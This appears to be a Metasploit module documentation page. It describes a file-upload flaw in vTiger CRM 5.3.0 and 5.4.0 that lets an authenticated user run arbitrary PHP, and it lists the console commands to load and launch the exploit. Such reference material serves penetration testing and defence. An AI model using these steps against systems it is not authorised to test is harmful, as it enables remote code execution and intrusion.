vTiger CRM allows an authenticated user to upload files to embed within documents. Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP script and execute arbitrary PHP code remotely. This module was tested against vTiger CRM v5.4.0 and v5.3.0.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/vtiger_php_exec
msf exploit(vtiger_php_exec) > show targets
...targets...
msf exploit(vtiger_php_exec) > set TARGET < target-id >
msf exploit(vtiger_php_exec) > show options
...show and set options...
msf exploit(vtiger_php_exec) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
